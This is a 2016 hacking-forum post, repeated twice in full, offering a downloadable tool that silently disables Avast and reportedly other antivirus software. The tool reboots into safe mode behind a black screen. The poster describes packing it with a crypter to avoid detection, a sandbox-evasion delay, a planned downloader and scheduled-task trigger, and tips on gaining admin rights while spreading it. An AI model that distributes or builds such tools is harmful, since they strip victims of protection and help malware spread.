Jun 24, 2016 12:56 AM
(This post was last modified: Jun 24, 2016 01:06 AM by Mr J Smith.)
Hi ✌
I'm giving this out because I want people to report back what happened.
This is coded in AutoHotKey, I'm not sure what it is... C++/C/C#/Vb6...
(Would be nice if someone told me).
I've created a version which just disables Avast, it's crypted with Cyber Seal
(surprisingly it works x86, when I crypted it the file defaulted to being native,
so it must be no dependencies), this is because I don't want anyone
stealing the source code as the average script kiddie could find it
and then add all the other processes.
For some reason, the crypted one only works on x86... (I'm not sure if this is
because my OS was x86 when I crypted, because I had to create the x64 version
on x64 machine... Not sure, cba to test it right now...)
This CAN disable pretty much any antivirus or program (this has only Avast because),
it very quickly reboots into safe mode and disables it and then restarts,
you don't actually see it go in to safe mode,a black screen appears
for a brief few seconds to hide everything :)
In the future, it will only run when the computer has been idle for X seconds
(using task scheduler) and it will have a downloader which executes
either the x86 or x64 version.
Download: http://y.zxq.co/cfswki.zip
Note: This will get detection's as it's using Cyber Seals stub, but Avast doesn't detect it for now,
also this has sandbox bypass (waits 20 seconds).
Edit: This might work in Sandboxie... Because of how it works, not sure.
This program is designed to run on x86 because it has been encrypted,
the normal version works for both versions.
This should theoretically work on all Windows OS's.
Note: This requires admin because messing with this kind of stuff
require higher privellages, getting admin is very easy if you use your brain
when spreading or use an 'elevate privellages' function.
I'm giving this out because I want people to report back what happened.
This is coded in AutoHotKey, I'm not sure what it is... C++/C/C#/Vb6...
(Would be nice if someone told me).
I've created a version which just disables Avast, it's crypted with Cyber Seal
(surprisingly it works x86, when I crypted it the file defaulted to being native,
so it must be no dependencies), this is because I don't want anyone
stealing the source code as the average script kiddie could find it
and then add all the other processes.
For some reason, the crypted one only works on x86... (I'm not sure if this is
because my OS was x86 when I crypted, because I had to create the x64 version
on x64 machine... Not sure, cba to test it right now...)
This CAN disable pretty much any antivirus or program (this has only Avast because),
it very quickly reboots into safe mode and disables it and then restarts,
you don't actually see it go in to safe mode,a black screen appears
for a brief few seconds to hide everything :)
In the future, it will only run when the computer has been idle for X seconds
(using task scheduler) and it will have a downloader which executes
either the x86 or x64 version.
Download: http://y.zxq.co/cfswki.zip
Note: This will get detection's as it's using Cyber Seals stub, but Avast doesn't detect it for now,
also this has sandbox bypass (waits 20 seconds).
Edit: This might work in Sandboxie... Because of how it works, not sure.
This program is designed to run on x86 because it has been encrypted,
the normal version works for both versions.
This should theoretically work on all Windows OS's.
Note: This requires admin because messing with this kind of stuff
require higher privellages, getting admin is very easy if you use your brain
when spreading or use an 'elevate privellages' function.
